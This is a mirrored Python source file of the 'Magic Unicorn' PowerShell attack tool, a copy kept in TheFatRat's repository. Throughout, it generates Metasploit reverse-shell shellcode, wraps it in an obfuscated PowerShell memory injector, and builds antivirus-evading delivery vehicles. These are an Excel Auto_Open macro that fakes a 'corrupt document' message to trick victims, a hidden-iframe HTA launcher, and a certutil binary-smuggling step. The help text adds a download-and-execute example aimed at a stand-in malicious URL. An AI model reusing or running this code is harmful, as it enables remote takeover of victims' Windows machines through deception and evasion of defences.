Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
screetsec
GitHub Repository: screetsec/TheFatRat
Path: blob/master/tools/trusted_2_6.py
495 views
1
#!/usr/bin/python
2
#
3
# Magic Unicorn - PowerShell downgrade attack and exploitation tool
4
#
5
# Written by: Dave Kennedy (@HackingDave)
6
# Company: TrustedSec (@TrustedSec) https://www.trustedsec.com
7
#
8
# Real quick down and dirty for native x86 powershell on any platform
9
#
10
# Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro>
11
# Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443
12
# Macro Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 macro
13
# HTA Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 hta
14
#
15
# Requirements: Need to have Metasploit installed.
16
#
17
# Special thanks to Matthew Graeber and Josh Kelley
18
#
19
import base64
20
import re
21
import subprocess
22
import sys
23
import os
24
import shutil
25
import random
26
import string
27
28
#
29
# generate a random string
30
#
31
def generate_random_string(low, high):
32
length = random.randint(low, high)
33
letters = string.ascii_letters # + string.digits
34
return ''.join([random.choice(letters) for _ in range(length)])
35
36
# needed for color in unicorn eyes
37
class ColorsEnum:
38
CYAN = '\033[96m'
39
BLUE = '\033[94m'
40
RED = '\033[91m'
41
BOLD = '\033[1m'
42
ENDC = '\033[0m'
43
44
45
# display unicorn banner
46
def gen_unicorn():
47
print(r"""
48
,/
49
//
50
,//
51
___ /| |//
52
`__/\_ --(/|___/-/
53
\|\_-\___ __-_`- /-/ \.
54
|\_-___,-\_____--/_)' ) \
55
\ -_ / __ \( `( __`\|
56
`\__| |""" + ColorsEnum.RED + r"""\)\ """ + ColorsEnum.ENDC + r""") """ + ColorsEnum.RED + r"""/(/""" + ColorsEnum.ENDC + r"""|
57
,._____., ',--//-| \ | ' /
58
/ __. \, / /,---| \ /
59
/ / _. \ \ `/`_/ _,' | |
60
| | ( ( \ | ,/\'__/'/ | |
61
| \ \`--, `_/_------______/ \( )/
62
| | \ \_. \, \___/\
63
| | \_ \ \ \
64
\ \ \_ \ \ / \
65
\ \ \._ \__ \_| | \
66
\ \___ \ \ | \
67
\__ \__ \ \_ | \ |
68
| \_____ \ ____ | |
69
| \ \__ ---' .__\ | | |
70
\ \__ --- / ) | \ /
71
\ \____/ / ()( \ `---_ /|
72
\__________/(,--__ \_________. | ./ |
73
| \ \ `---_\--, \ \_,./ |
74
| \ \_ ` \ /`---_______-\ \\ /
75
\ \.___,`| / \ \\ \
76
\ | \_ \| \ ( |: |
77
\ \ \ | / / | ;
78
\ \ \ \ ( `_' \ |
79
\. \ \. \ `__/ | |
80
\ \ \. \ | |
81
\ \ \ \ ( )
82
\ | \ | | |
83
| \ \ \ I `
84
( __; ( _; ('-_';
85
|___\ \___: \___:
86
""")
87
88
89
# display macro help
90
def macro_help():
91
print("""
92
[*******************************************************************************************************]
93
94
-----MACRO ATTACK INSTRUCTIONS----
95
96
For the macro attack, you will need to go to File, Properties, Ribbons, and select Developer. Once you do
97
that, you will have a developer tab. Create a new macro, call it Auto_Open and paste the generated code
98
into that. This will automatically run. Note that a message will prompt to the user saying that the file
99
is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the
100
victim to thinking the excel document is corrupted. You should get a shell through powershell injection
101
after that.
102
103
NOTE: WHEN COPYING AND PASTING THE EXCEL, IF THERE ARE ADDITIONAL SPACES THAT ARE ADDED YOU NEED TO
104
REMOVE THESE AFTER EACH OF THE POWERSHELL CODE SECTIONS UNDER VARIABLE "x" OR A SYNTAX ERROR WILL
105
HAPPEN!
106
107
[*******************************************************************************************************]
108
109
""")
110
111
112
# display hta help
113
def hta_help():
114
print("""
115
[*******************************************************************************************************]
116
117
-----HTA ATTACK INSTRUCTIONS----
118
119
The HTA attack will automatically generate two files, the first the index.html which tells the browser to
120
use Launcher.hta which contains the malicious powershell injection code. All files are exported to the
121
hta_access/ folder and there will be three main files. The first is index.html, second Launcher.hta and the
122
last, the unicorn.rc file. You can run msfconsole -r unicorn.rc to launch the listener for Metasploit.
123
124
A user must click allow and accept when using the HTA attack in order for the powershell injection to work
125
properly.
126
127
[*******************************************************************************************************]
128
129
""")
130
131
132
# display powershell help
133
def ps_help():
134
print("""
135
[********************************************************************************************************]
136
137
-----POWERSHELL ATTACK INSTRUCTIONS----
138
139
Everything is now generated in two files, powershell_attack.txt and unicorn.rc. The text file contains all
140
of the code needed in order to inject the powershell attack into memory. Note you will need a place that
141
supports remote command injection of some sort. Often times this could be through an excel/word doc or
142
through psexec_commands inside of Metasploit, SQLi, etc.. There are so many implications and scenarios to
143
where you can use this attack at. Simply paste the powershell_attacks.txt command in any command prompt
144
window or where you have the ability to call the powershell executable and it will give a shell back to
145
you. This attack also supports windows/download_exec for a payload method instead of just Meterpreter
146
payloads.
147
148
Note that you will need to have a listener enabled in order to capture the attack.
149
150
[*******************************************************************************************************]
151
""")
152
153
154
# display cert help
155
def cert_help():
156
print("""
157
[*******************************************************************************************************]
158
159
-----CERUTIL Attack Instruction----
160
161
The certutil attack vector was identified by Matthew Graeber (@mattifestation) which allows you to take
162
a binary file, move it into a base64 format and use certutil on the victim machine to convert it back to
163
a binary for you. This should work on virtually any system and allow you to transfer a binary to the victim
164
machine through a fake certificate file. To use this attack, simply place an executable in the path of
165
unicorn and run python unicorn.py <exe_name> crt in order to get the base64 output. Once that's finished,
166
go to decode_attack/ folder which contains the files. The bat file is a command that can be run in a
167
windows machine to convert it back to a binary.
168
169
[*******************************************************************************************************]
170
""")
171
172
173
def custom_ps1_help():
174
print("""
175
[*******************************************************************************************************]
176
177
-----Custom PS1 Attack Instructions----
178
179
This attack method allows you to convert any PowerShell file (.ps1) into an encoded command or macro.
180
181
Note if choosing the macro option, a large ps1 file may exceed the amount of carriage returns allowed by
182
VBA. You may change the number of characters in each VBA string by passing an integer as a parameter.
183
184
Examples:
185
186
python unicorn.py harmless.ps1
187
python unicorn.py myfile.ps1 macro
188
python unicorn.py muahahaha.ps1 macro 500
189
190
The last one will use a 500 character string instead of the default 380, resulting in less carriage returns in VBA.
191
192
[*******************************************************************************************************]
193
""")
194
195
196
# usage banner
197
def gen_usage():
198
print(
199
"-------------------- Magic Unicorn Attack Vector v2.6 -----------------------------")
200
print("\nNative x86 powershell injection attacks on any Windows platform.")
201
print(
202
"Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)")
203
print("Twitter: @TrustedSec, @HackingDave")
204
print("Credits: Matthew Graeber, Justin Elze, Chris Gates")
205
print("\nHappy Magic Unicorns.")
206
print("")
207
print(
208
"Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>")
209
print(
210
"PS Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443")
211
print(
212
"PS Down/Exec: python unicorn.py windows/download_exec exe=test.exe url=http://badurl.com/payload.exe")
213
print(
214
"Macro Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 macro")
215
print(
216
"HTA Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443 hta")
217
print("CRT Example: python unicorn.py <path_to_payload/exe_encode> crt")
218
print("Custom PS1 Example: python unicorn.py <path to ps1 file>")
219
print("Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500")
220
print("Help Menu: python unicorn.py --help\n")
221
222
223
# split string
224
def split_str(s, length):
225
return [s[i:i + length] for i in range(0, len(s), length)]
226
227
228
# write a file to designated path
229
def write_file(path, text):
230
file_write = file(path, "w")
231
file_write.write(text)
232
file_write.close()
233
234
235
# scramble commmands into multiple strings
236
def scramble_stuff():
237
ps = "powershell.exe"
238
list = ""
239
for letter in ps:
240
letter = '"' + letter.rstrip() + '" & '
241
list = list + letter
242
243
full_exe = list[:-2]
244
ps_only = full_exe.split(".")[0][:-4]
245
246
wscript = "WScript"
247
shell = "Shell"
248
list2 = ""
249
for letter in wscript:
250
letter = '"' + letter.rstrip() + '" & '
251
list2 = list2 + letter
252
253
full_wscript = list2[:-2]
254
255
list3 = ""
256
for letter in shell:
257
letter = '"' + letter.rstrip() + '" & '
258
list3 = list3 + letter
259
260
full_shell = list3[:-2]
261
262
return full_exe + "," + ps_only + "," + full_wscript + "," + full_shell
263
264
265
# generate full macro
266
def generate_macro(full_attack, line_length=380):
267
# randomize macro name
268
macro_rand = generate_random_string(5, 10)
269
270
# start of the macro
271
macro_str = (
272
"Sub Auto_Open()\nDim {0}\n{1} = ".format(macro_rand, macro_rand))
273
274
if line_length is None:
275
line_length_int = 380
276
else:
277
line_length_int = int(line_length)
278
279
powershell_command_list = split_str(full_attack, line_length_int)
280
281
for line in powershell_command_list:
282
macro_str += "& \"" + line + "\" _\n"
283
284
# remove trailing "_ \r\n"
285
macro_str = macro_str[:-4]
286
# remove first occurrence of &
287
macro_str = macro_str.replace("& ", "", 1)
288
macro_str = macro_str.replace(
289
'powershell -w 1 -C "', r'powershell -w 1 -nop -C \""')
290
macro_str = macro_str.replace(''''"''', r''''\""''')
291
292
# obfsucate the hell out of Shell and PowerShell
293
long_string = scramble_stuff().split(",")
294
# full powershell.exe
295
ps_long = long_string[0]
296
# ps abbreviated
297
ps_short = long_string[1][1:]
298
# wscript
299
wscript = long_string[2]
300
# shell
301
shell = long_string[3]
302
303
macro_str = macro_str.replace('powershell -w 1', ps_short + ' & " -w 1')
304
macro_str = macro_str.replace(';powershell', ';" & "' + ps_short + ' & "')
305
306
# randomized variables
307
function1 = generate_random_string(5, 15)
308
function2 = generate_random_string(5, 15)
309
function3 = generate_random_string(5, 15)
310
function4 = generate_random_string(5, 15)
311
function5 = generate_random_string(5, 15)
312
function6 = generate_random_string(5, 15)
313
314
# our final product of obfsucated code
315
macro_str += ("""\n\nDim {0}\n{1} = {2}\nDim {3}\n{4} = {5}\nDim {6}\n{7} = {8} & "." & {9}\nDim {10}\nDim {11}\nSet {12} = VBA.CreateObject({13})\n{14} = {15} & " "\n{16} = {17}.Run({18} & {19}, 0, False)\nDim title As String\ntitle = "Microsoft Corrupt Document"\nDim msg As String\nDim intResponse As Integer\nmsg = "The document appears to be made on an older version of Microsoft. Please have the creator save to a newer and supported format."\nintResponse = MsgBox(msg, 16, title)\nApplication.Quit\nEnd Sub""".format(
316
function1, function1, shell, function2, function2, wscript, function3, function3, function2, function1, function4, function5, function4, function3, function6, ps_long, function5, function4, function6, macro_rand))
317
318
return macro_str
319
320
321
# generate Matthew Graeber's (Matt rocks) attack for binary to cert format #KeepMattHappy
322
# - https://gist.github.com/mattifestation/47f9e8a431f96a266522
323
def gen_cert_attack(filename):
324
if os.path.isfile(filename):
325
# make sure the directory is made
326
if not os.path.isdir("decode_attack"):
327
os.makedirs("decode_attack")
328
329
# remove old files here
330
if os.path.isfile("decode_attack/encoded_attack.crt"):
331
os.remove("decode_attack/encoded_attack.crt")
332
333
print(
334
"[*] Importing in binary file to base64 encode it for certutil prep.")
335
data = file(filename, "rb").read()
336
data = base64.b64encode(data)
337
print("[*] Writing out the file to decode_attack/encoded_attack.crt")
338
write_file("decode_attack/encoded_attack.crt",
339
"-----BEGIN CERTIFICATE-----\n{0}\n-----END CERTIFICATE-----".format(data))
340
print("[*] Filewrite complete, writing out decode string for you..")
341
write_file("decode_attack/decode_command.bat",
342
"certutil -decode encoded_attack.crt encoded.exe")
343
print("[*] Exported attack under decode_attack/")
344
print(
345
"[*] There are two files, encoded_attack.crt contains your encoded data")
346
print(
347
"[*] The second file, decode_command.bat will decode the cert to an executable.")
348
else:
349
print("[!] File was not found. Exiting the unicorn attack.")
350
sys.exit()
351
352
# Generate HTA launchers and index
353
def gen_hta_attack(command):
354
# HTA code here
355
356
command = command.replace("'", "\\'")
357
# generate random variable names for vba
358
hta_rand = generate_random_string(10, 30)
359
360
# split up so we arent calling shell command for cmd.exe
361
shell_split1 = generate_random_string(10, 30)
362
shell_split2 = generate_random_string(10, 30)
363
shell_split3 = generate_random_string(10, 30)
364
shell_split4 = generate_random_string(10, 30)
365
shell_split5 = generate_random_string(10, 30)
366
367
cmd_split1 = generate_random_string(10, 30)
368
cmd_split2 = generate_random_string(10, 30)
369
cmd_split3 = generate_random_string(10, 30)
370
cmd_split4 = generate_random_string(10, 30)
371
372
main1 = ("""<script>\n{0} = "WS";\n{1} = "crip";\n{2} = "t.Sh";\n{3} = "ell";\n{4} = ({0} + {1} + {2} + {3});\n{5}=new ActiveXObject({4});\n""".format(shell_split1, shell_split2, shell_split3, shell_split4, shell_split5, hta_rand, shell_split5))
373
main2 = ("""{0} = "cm";\n{1} = "d.e";\n{2} = "xe";\n{3} = ({0} + {1} + {2});\n{4}.run('%windir%\\\\System32\\\\""".format(cmd_split1,cmd_split2,cmd_split3,cmd_split4,hta_rand))
374
main3 = ("""' + {0} + """.format(cmd_split4))
375
main4 = ("""' /c {0}', 0);window.close();\n</script>""".format(command))
376
html_code = ("""<iframe id="frame" src="Launcher.hta" application="yes" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no>></iframe>""")
377
378
# remote old directory
379
if os.path.isdir("hta_attack"):
380
shutil.rmtree("hta_attack")
381
382
os.makedirs("hta_attack")
383
384
# write out index file
385
print("[*] Writing out index file to hta_attack/index.html")
386
write_file("hta_attack/index.html", html_code)
387
388
# write out Launcher.hta
389
print("[*] Writing malicious hta launcher hta_attack/Launcher.hta")
390
write_file("hta_attack/Launcher.hta", main1 + main2 + main3 + main4)
391
392
393
# generate the actual shellcode through msf
394
def generate_shellcode(payload, ipaddr, port):
395
print(
396
"[*] Generating the payload shellcode.. This could take a few seconds/minutes as we create the shellcode...")
397
port = port.replace("LPORT=", "")
398
399
# if we are using traditional payloads and not download_eec
400
if not "exe=" in ipaddr:
401
ipaddr = "LHOST={0}".format(ipaddr)
402
port = "LPORT={0}".format(port)
403
404
proc = subprocess.Popen("msfvenom -p {0} {1} {2} StagerURILength=5 StagerVerifySSLCert=false -e x86/shikata_ga_nai -a x86 --platform windows --smallest -f c".format(
405
payload, ipaddr, port), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
406
data = proc.communicate()[0]
407
# start to format this a bit to get it ready
408
repls = {
409
';': '', ' ': '', '+': '', '"': '', '\n': '', 'buf=': '', 'Found 0 compatible encoders': '',
410
'unsignedcharbuf[]=': ''}
411
data = reduce(lambda a, kv: a.replace(*kv),
412
iter(repls.items()), data).rstrip()
413
414
if len(data) < 1:
415
print(
416
"[!] Length of shellcode was not generated. Check payload name and if Metasploit is working and try again.")
417
print("Exiting....")
418
sys.exit()
419
return data
420
421
# generate shellcode attack and replace hex
422
423
424
def gen_shellcode_attack(payload, ipaddr, port):
425
# regular payload generation stuff
426
# generate our shellcode first
427
shellcode = generate_shellcode(payload, ipaddr, port).rstrip()
428
# sub in \x for 0x
429
shellcode = re.sub("\\\\x", "0x", shellcode)
430
# base counter
431
counter = 0
432
# count every four characters then trigger floater and write out data
433
floater = ""
434
# ultimate string
435
newdata = ""
436
for line in shellcode:
437
floater += line
438
counter += 1
439
if counter == 4:
440
newdata = newdata + floater + ","
441
floater = ""
442
counter = 0
443
444
# here's our shellcode prepped and ready to go
445
shellcode = newdata[:-1]
446
447
# write out rc file
448
write_file(
449
"unicorn.rc", "use multi/handler\nset payload {0}\nset LHOST {1}\nset LPORT {2}\nset ExitOnSession false\nset EnableStageEncoding true\nexploit -j\n".format(payload, ipaddr, port))
450
451
# added random vars before and after to change strings - AV you are
452
# seriously ridiculous.
453
var1 = generate_random_string(3, 4)
454
var2 = generate_random_string(3, 4)
455
var3 = generate_random_string(3, 4)
456
var4 = generate_random_string(3, 4)
457
var5 = generate_random_string(3, 4)
458
var6 = generate_random_string(3, 4)
459
460
# one line shellcode injection with native x86 shellcode
461
powershell_code = (
462
r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = %s;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));$2 = "-ec ";if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2 $e"}else{;iex "& powershell $2 $e";}""" % shellcode)
463
464
# run it through a lame var replace
465
powershell_code = powershell_code.replace("$1", "$" + var1).replace("$c", "$" + var2).replace(
466
"$2", "$" + var3).replace("$3", "$" + var4).replace("$x", "$" + var5)
467
468
return powershell_code
469
470
471
def gen_ps1_attack(ps1path):
472
if os.path.isfile(ps1path):
473
with open(ps1path, 'r') as scriptfile:
474
data = scriptfile.read()
475
return data
476
else:
477
print("[!] {0} does not exist. Please check your path".format(ps1path))
478
sys.exit(1)
479
480
481
def format_payload(powershell_code, attack_type, attack_modifier, option):
482
gen_unicorn()
483
print(
484
"Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)")
485
print("Twitter: @TrustedSec, @HackingDave")
486
print("\nHappy Magic Unicorns.")
487
488
ran1 = generate_random_string(1, 3)
489
ran2 = generate_random_string(1, 3)
490
ran3 = generate_random_string(1, 3)
491
ran4 = generate_random_string(1, 3)
492
493
# powershell -w 1 -C "powershell ([char]45+[char]101+[char]99) YwBhAGwAYwA=" <-- Another nasty one that should evade. If you are reading the source, feel free to use and tweak
494
#"sv x -;sv y ec;sv Z ((gv x).value.toString()+(gv y).value.toString());powershell (gv Z).value.toString()"
495
full_attack = 'powershell -w 1 -C "sv {0} -;sv {1} ec;sv {2} ((gv {3}).value.toString()+(gv {4}).value.toString());powershell (gv {5}).value.toString() \''.format(ran1, ran2, ran3, ran1, ran2, ran3) + \
496
base64.b64encode(powershell_code.encode('utf_16_le')) + '\'"'
497
498
if attack_type == "msf":
499
if attack_modifier == "macro":
500
macro_attack = generate_macro(full_attack)
501
write_file("powershell_attack.txt", macro_attack)
502
macro_help()
503
504
elif attack_modifier == "hta":
505
gen_hta_attack(full_attack)
506
# move unicorn to hta attack if hta specified
507
shutil.move("unicorn.rc", "hta_attack/")
508
hta_help()
509
510
else: # write out powershell attacks
511
write_file("powershell_attack.txt", full_attack)
512
ps_help()
513
514
elif attack_type == "custom_ps1":
515
if attack_modifier == "macro":
516
macro_attack = generate_macro(full_attack, option)
517
write_file("powershell_attack.txt", macro_attack)
518
else:
519
write_file("powershell_attack.txt", full_attack)
520
521
custom_ps1_help()
522
523
else:
524
write_file("powershell_attack.txt", full_attack)
525
ps_help()
526
527
# Print completion messages
528
if attack_type == "msf" and attack_modifier == "hta":
529
print(
530
"[*] Exported index.html, Launcher.hta, and unicorn.rc under hta_attack/.")
531
print(
532
"[*] Run msfconosle -r unicorn.rc to launch listener and move index and launcher to web server.\n")
533
534
elif attack_type == "msf":
535
print("[*] Exported powershell output code to powershell_attack.txt.")
536
print(
537
"[*] Exported Metasploit RC file as unicorn.rc. Run msfconsole -r unicorn.rc to execute and create listener.\n")
538
539
elif attack_type == "custom_ps1":
540
print("[*] Exported powershell output code to powershell_attack.txt")
541
542
543
# pull the variables needed for usage
544
try:
545
attack_type = ""
546
attack_modifier = ""
547
payload = ""
548
ps1path = ""
549
550
if len(sys.argv) > 1:
551
if sys.argv[1] == "--help":
552
ps_help()
553
macro_help()
554
hta_help()
555
cert_help()
556
custom_ps1_help()
557
gen_usage()
558
sys.exit()
559
else:
560
if len(sys.argv) > 2 and sys.argv[2] == "crt":
561
attack_type = "crt"
562
payload = sys.argv[1]
563
elif re.search('\.ps1$', sys.argv[1]) is not None:
564
attack_type = "custom_ps1"
565
ps1path = sys.argv[1]
566
else:
567
attack_type = "msf"
568
payload = sys.argv[1]
569
570
# if we are using macros
571
if len(sys.argv) == 5:
572
if attack_type == "msf": # msf macro attack
573
ipaddr = sys.argv[2]
574
port = sys.argv[3]
575
attack_modifier = sys.argv[4]
576
ps = gen_shellcode_attack(payload, ipaddr, port)
577
else:
578
print(
579
"[!] Options not understood or missing. Use --help switch for assistance.")
580
sys.exit(1)
581
582
format_payload(ps, attack_type, attack_modifier, None)
583
584
# default unicorn & custom ps1 macro attacks
585
elif len(sys.argv) == 4:
586
if attack_type == "custom_ps1": # custom ps1 macro attack
587
attack_modifier = sys.argv[2]
588
option = sys.argv[3]
589
ps = gen_ps1_attack(ps1path)
590
elif attack_type == "msf":
591
payload = sys.argv[1]
592
ipaddr = sys.argv[2]
593
port = sys.argv[3]
594
attack_modifier = ""
595
option = None
596
ps = gen_shellcode_attack(payload, ipaddr, port)
597
# It should not be possible to get here, but just in case it does for some reason in the future, it will
598
# prevent usage of 'ps' and 'option', causing the app to crash
599
else:
600
print("[!] Something went way wrong while generating payload.")
601
sys.exit()
602
603
format_payload(ps, attack_type, attack_modifier, option)
604
605
elif len(sys.argv) == 3:
606
# Matthews base64 cert attack
607
if attack_type == "crt":
608
cert_help()
609
# generate the attack vector
610
gen_cert_attack(payload)
611
elif attack_type == "custom_ps1":
612
attack_modifier = sys.argv[2]
613
ps = gen_ps1_attack(ps1path)
614
format_payload(ps, attack_type, attack_modifier, None)
615
else:
616
print(
617
"[!] Options not understood or missing. Use --help switch for assistance.")
618
sys.exit()
619
620
elif len(sys.argv) == 2:
621
if attack_type == "custom_ps1":
622
ps = gen_ps1_attack(ps1path)
623
format_payload(ps, attack_type, None, None)
624
else:
625
print(
626
"[!] Options not understood or missing. Use --help switch for assistance.")
627
sys.exit()
628
629
# if we did supply parameters
630
elif len(sys.argv) < 2:
631
gen_unicorn()
632
gen_usage()
633
634
except Exception as e:
635
print("[!] Something went wrong, printing the error: " + str(e))
636
637